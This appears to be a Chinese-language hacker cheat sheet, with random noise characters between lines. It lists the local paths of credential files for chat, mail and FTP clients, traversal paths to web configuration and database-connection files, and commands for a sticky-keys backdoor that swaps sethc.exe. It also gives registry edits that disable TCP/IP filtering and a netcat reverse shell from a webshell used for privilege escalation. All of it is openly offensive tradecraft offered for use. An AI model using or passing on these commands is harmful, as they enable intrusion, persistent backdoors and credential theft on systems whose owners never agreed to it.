c:\Apache2\Apache2\bin\Apache.exe
. v6 ^' D. x$ [" _c:\Apache2\bin\Apache.exe
8 F% x3 W5 y: Zc:\Apache2\php\license.txt
C:\Program Files\Apache Group\Apache2\bin\Apache.exe
/usr/local/tomcat5527/bin/version.sh
% C3 [, m7 y( R; s4 ]! {* m/usr/share/tomcat6/bin/startup.sh
- D! l& D2 c6 p( ?1 N/usr/tomcat6/bin/startup.sh
7 I1 z; n# ?  G4 i4 o4 k0 K" P& hc:\Program Files\QQ2007\qq.exe
1 ]' p" S' ?2 P4 Vc:\Program Files\Tencent\qq\User.db
c:\Program Files\Tencent\qq\qq.exe
( Z6 J1 [( F. P# }9 H/ mc:\Program Files\Tencent\qq\bin\qq.exe
c:\Program Files\Tencent\qq2009\qq.exe
c:\Program Files\Tencent\qq2008\qq.exe
c:\Program Files\Tencent\qq2010\bin\qq.exe
c:\Program Files\Tencent\qq\Users\All Users\Registry.db
C:\Program Files\Tencent\TM\TMDlls\QQZip.dll
* D' _: r# `2 M) [' O" i# Ec:\Program Files\Tencent\Tm\Bin\Txplatform.exe
& ?- B8 A% U, d/ V7 Y( R& Rc:\Program Files\Tencent\RTXServer\AppConfig.xml
. a9 K' z" C  |0 vC:\Program Files\Foxmal\Foxmail.exe
7 C6 j% I" f  `) c0 q4 i- s+ \. n4 T7 LC:\Program Files\Foxmal\accounts.cfg
C:\Program Files\tencent\Foxmal\Foxmail.exe
C:\Program Files\tencent\Foxmal\accounts.cfg
2 W& ]$ c. L2 E5 w  @- sC:\Program Files\LeapFTP 3.0\LeapFTP.exe
C:\Program Files\LeapFTP\LeapFTP.exe
; \' K6 J* U( Rc:\Program Files\GlobalSCAPE\CuteFTP Pro\cftppro.exe
: x8 G1 n7 H* Z& N7 \+ mc:\Program Files\GlobalSCAPE\CuteFTP Pro\notes.txt
C:\Program Files\FlashFXP\FlashFXP.ini
C:\Program Files\FlashFXP\flashfxp.exe
* @% {/ o' b! M* ]' Z+ I& B- sc:\Program Files\Oracle\bin\regsvr32.exe
c:\Program Files\腾讯游戏\QQGAME\readme.txt
; R5 u* g5 ?3 {" T+ Z4 [! nc:\Program Files\tencent\腾讯游戏\QQGAME\readme.txt
2 S3 C4 g7 E7 a1 B$ h* jc:\Program Files\tencent\QQGAME\readme.txt
4 r" h8 `% w% V" LC:\Program Files\StormII\Storm.exe
3 s9 O' t$ p' \+ I
% W# A* t$ s8 I: G1 b3.网站相对路径:
! F6 V* Q. a& L+ t* ^$ A; J9 f
) L* y  p. r# R0 c! Z5 j2 O4 v. k0 X/config.php
. F8 ?+ P' h! n3 _6 K../../config.php
../config.php
; z! A( o. u) U7 o, I../../../config.php
/config.inc.php
./config.inc.php
../../config.inc.php
6 F/ Z" V0 M' _  n' O. g1 \../config.inc.php
, g/ Q* `- K! W& P. r% u# }2 {../../../config.inc.php
/conn.php
./conn.php
. T1 q5 P. Z, \  l# k) V) v../../conn.php
../conn.php
. [2 K. v  `. p: G; T& v' g../../../conn.php
/conn.asp
./conn.asp
7 ]4 F  j; {& q' \../../conn.asp
! v0 p7 i: a, P" }7 Z9 {../conn.asp
../../../conn.asp
/config.inc.php
- F, w1 t/ N1 {6 r4 X2 \& M./config.inc.php
7 P9 l8 J4 K& H" Z0 E6 g../../config.inc.php
% z8 K4 m& ^4 R: Y6 w7 m* j../config.inc.php
! J$ A7 d" w! |' k../../../config.inc.php
$ H5 V; M. P& j3 }, t/config/config.php
../../config/config.php
../config/config.php
../../../config/config.php
/config/config.inc.php
./config/config.inc.php
../../config/config.inc.php
../config/config.inc.php
../../../config/config.inc.php
8 F9 F: D; G( F8 }/config/conn.php
, d: I9 ]' J) n! b) n./config/conn.php
../../config/conn.php
../config/conn.php
../../../config/conn.php
/config/conn.asp
7 S* g1 y  v/ a4 X) Q3 m1 x./config/conn.asp
../../config/conn.asp
../config/conn.asp
  @2 M: B+ e9 l/ w2 m# Z/ w' n" R../../../config/conn.asp
/config/config.inc.php
! [# R7 j, Y1 N" Q5 y/ O./config/config.inc.php
9 |5 E( P6 J# r8 b../../config/config.inc.php
../config/config.inc.php
8 [2 b: ~5 h: w& S5 f3 j' ?0 d../../../config/config.inc.php
; p. G1 B; b8 M8 K. Z: \& ^/data/config.php
8 v8 n5 r8 X1 p! ?7 W../../data/config.php
6 _( C$ P& e' ]0 R  c7 H../data/config.php
../../../data/config.php
# _: [& U2 {. y" E: [2 s/data/config.inc.php
+ g% E) M6 e- ?7 K4 g( @./data/config.inc.php
- ]+ f  G/ ?' T: Z2 [9 L7 A8 m../../data/config.inc.php
  w2 t2 Z% e$ |9 m2 U% \../data/config.inc.php
../../../data/config.inc.php
/data/conn.php
( _( ?# ~1 n; V./data/conn.php
; r! ]5 ~/ r8 t$ [7 R../../data/conn.php
../data/conn.php
../../../data/conn.php
+ P0 |8 k* d- G, E( O; Z+ I% J/data/conn.asp
./data/conn.asp
( k6 e* E% ?- J+ I. o: F../../data/conn.asp
/ a& n4 z+ M: \" j; c3 `../data/conn.asp
/ w/ k0 X# l0 o../../../data/conn.asp
: T! Z# z6 ]* v$ X, W/data/config.inc.php
# \7 H$ Z5 q! O; M8 A./data/config.inc.php
../../data/config.inc.php
2 d+ o  M0 o% n; l../data/config.inc.php
../../../data/config.inc.php
  c# t+ F& P* O' v4 ]/include/config.php
../../include/config.php
, V$ C+ G7 m; K../include/config.php
0 V5 ]' R$ s' \) [* o../../../include/config.php
0 {# S  E, E) \/include/config.inc.php
./include/config.inc.php
# b8 M* B1 t9 ~4 p1 q& G- D* J../../include/config.inc.php
( f+ C  f- B$ u0 N  R- I../include/config.inc.php
../../../include/config.inc.php
' t+ ^' o8 s% ^: ^/include/conn.php
. _  p4 R) C1 g8 t( x3 l./include/conn.php
../../include/conn.php
../include/conn.php
../../../include/conn.php
/include/conn.asp
4 o0 K& r: T, E+ A3 g4 k./include/conn.asp
../../include/conn.asp
../include/conn.asp
../../../include/conn.asp
4 D. B: g! ?6 o/ A$ s/include/config.inc.php
./include/config.inc.php
$ x8 L) R: j7 M4 `1 e5 R../../include/config.inc.php
../include/config.inc.php
../../../include/config.inc.php
! f( U' t: V& Z! B3 U/inc/config.php
. E/ s9 y0 N- f5 {../../inc/config.php
+ V/ d" i! K: [0 b8 `../inc/config.php
../../../inc/config.php
/inc/config.inc.php
' v& u! L8 G) C./inc/config.inc.php
* o# B6 U3 _2 P4 ~9 \../../inc/config.inc.php
../inc/config.inc.php
3 v! U9 ~6 ~8 X6 C../../../inc/config.inc.php
/inc/conn.php
./inc/conn.php
../../inc/conn.php
../inc/conn.php
1 _- D( \, f  l0 [' F( W../../../inc/conn.php
. E: q7 H! H1 A# f- S; p/inc/conn.asp
# [6 `- b  S% N2 |, }) e' j5 ^./inc/conn.asp
) T. y) R7 Y" x../../inc/conn.asp
../inc/conn.asp
2 Y8 k8 u5 ]0 L: Q6 b../../../inc/conn.asp
( L$ r2 j* Z1 j" g: w2 w/inc/config.inc.php
./inc/config.inc.php
$ T5 e" F  U/ x1 n% c$ @; R../../inc/config.inc.php
../inc/config.inc.php
../../../inc/config.inc.php
$ V# M- [# K. K! |% W- U" g/index.php
./index.php
+ A* t& }0 a* d1 ?8 O4 Q1 w../../index.php
../index.php
../../../index.php
/index.asp
, Z0 z9 _8 e% w* V9 H./index.asp
& O" d5 f4 c. p. V8 r3 J' Z../../index.asp
+ X5 a, |$ w9 _" q) q../index.asp
1 X0 s/ H. w) }8 \% q' U../../../index.asp
替换SHIFT后门
　attrib c:\windows\system32\sethc.exe -h -r -s
4 c4 s. [) d% U
　　attrib c:\windows\system32\dllcache\sethc.exe -h -r -s
5 h2 k0 e9 m* x7 U9 _+ A0 Q
* {# m! }, k3 y　　del c:\windows\system32\sethc.exe

6 i$ T; T! L9 f9 L2 z+ A0 B% N2 b　　copy c:\windows\explorer.exe c:\windows\system32\sethc.exe
& {5 N* }  z- I8 \$ U
　　copy c:\windows\system32\sethc.exe c:\windows\system32\dllcache\sethc.exe
! `  H" M. T5 g9 f% S: }* g' y; _: i
" p2 l* d9 O9 H! L　　attrib c:\windows\system32\sethc.exe +h +r +s
# ^1 l8 Q2 C% x
& P0 h5 b4 L% N, o1 \1 h1 d　　attrib c:\windows\system32\dllcache\sethc.exe +h +r +s
' B9 `( j" A) k3 X* \" b% D: B去除TCPIP筛选
- R9 l  V, i/ Q( o+ C% LTCP/IP筛选在注册表里有三处，分别是：
% j, M1 P; u) g1 E4 g+ oHKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\Tcpip
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet002\Services\Tcpip
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip
. N- a6 f% x6 F( C2 [" t0 Q# e
7 G9 |$ \8 p; e. G& d分别用
regedit -e D:\a.reg HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip
+ l, t& @! h3 W3 ~. F" oregedit -e D:\b.reg HKEY_LOCAL_MACHINE\SYSTEM\ControlSet002\Services\Tcpip
9 D0 w/ p: ]* D4 K0 `: rregedit -e D:\c.reg HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip
& M3 X+ t6 T8 j6 L$ z命令来导出注册表项

然后把 三个文件里的EnableSecurityFilters"=dword:00000001，改成EnableSecurityFilters"=dword:00000000
9 W0 J8 F/ Z" Z2 n- n1 H$ |$ b
再将以上三个文件分别用
regedit -s D:\a.reg
( O3 h& ?9 j4 V5 zregedit -s D:\b.reg
regedit -s D:\c.reg
导入注册表即可

webshell提权小技巧
cmd路径:
6 j  F' A- [  f5 o8 G2 P2 ?c:\windows\temp\cmd.exe
nc也在同目录下
, P- `; R$ p, q* b- @. b( ]4 z9 L$ z' h例如反弹cmdshell：
"c:\windows\temp\nc.exe -vv ip 999 -e c:\windows\temp\cmd.exe"
通常都不会成功。
; X4 {0 n; {7 F# U6 @  G. p# {
而直接在 cmd路径上 输入 c:\windows\temp\nc.exe
7 v7 G4 L8 J( O1 ~2 m' R命令输入   -vv ip 999 -e c:\windows\temp\cmd.exe
却能成功。。
这个不是重点
我们通常 执行 pr.exe 或 Churrasco.exe 时 有时候也需要 按照上面的 方法才能成功